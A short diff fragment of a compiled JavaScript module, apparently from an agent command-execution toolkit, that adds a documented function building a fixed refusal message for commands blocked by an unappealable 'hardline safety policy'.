+ }
762
+ return null;
763
+ }
764
+ /**
765
+ * The refusal a floor match produces, shared by both call sites (§8, §4.2).
766
+ *
767
+ * One wording, because they are one policy: the gate refuses the call before any rating or prompt,
768
+ * and the toolkit refuses it before spawn if anything ever reaches that far. A second sentence
769
+ * would let a user meet two different explanations of the same unappealable rule and conclude that
770
+ * two different rules exist.
771
+ *
772
+ * **It names no move.** §7's rejection moves — *"call the same command with a justification"* — are
773
+ * exactly what this refusal is not: the floor is unappealable at every rung, so inviting a
774
+ * justification would invite a round that cannot be won.
775
+ */
776
+ export function buildHardlineRefusal(command, match) {
777
+ return (`Refusing to execute '${command}': blocked by hardline safety policy ` +
778
+ `(${match.description}). This is blocked even when command confirmation is disabled.`);
779
+ }
780
+ //# sourceMappingURL=hardline.js.map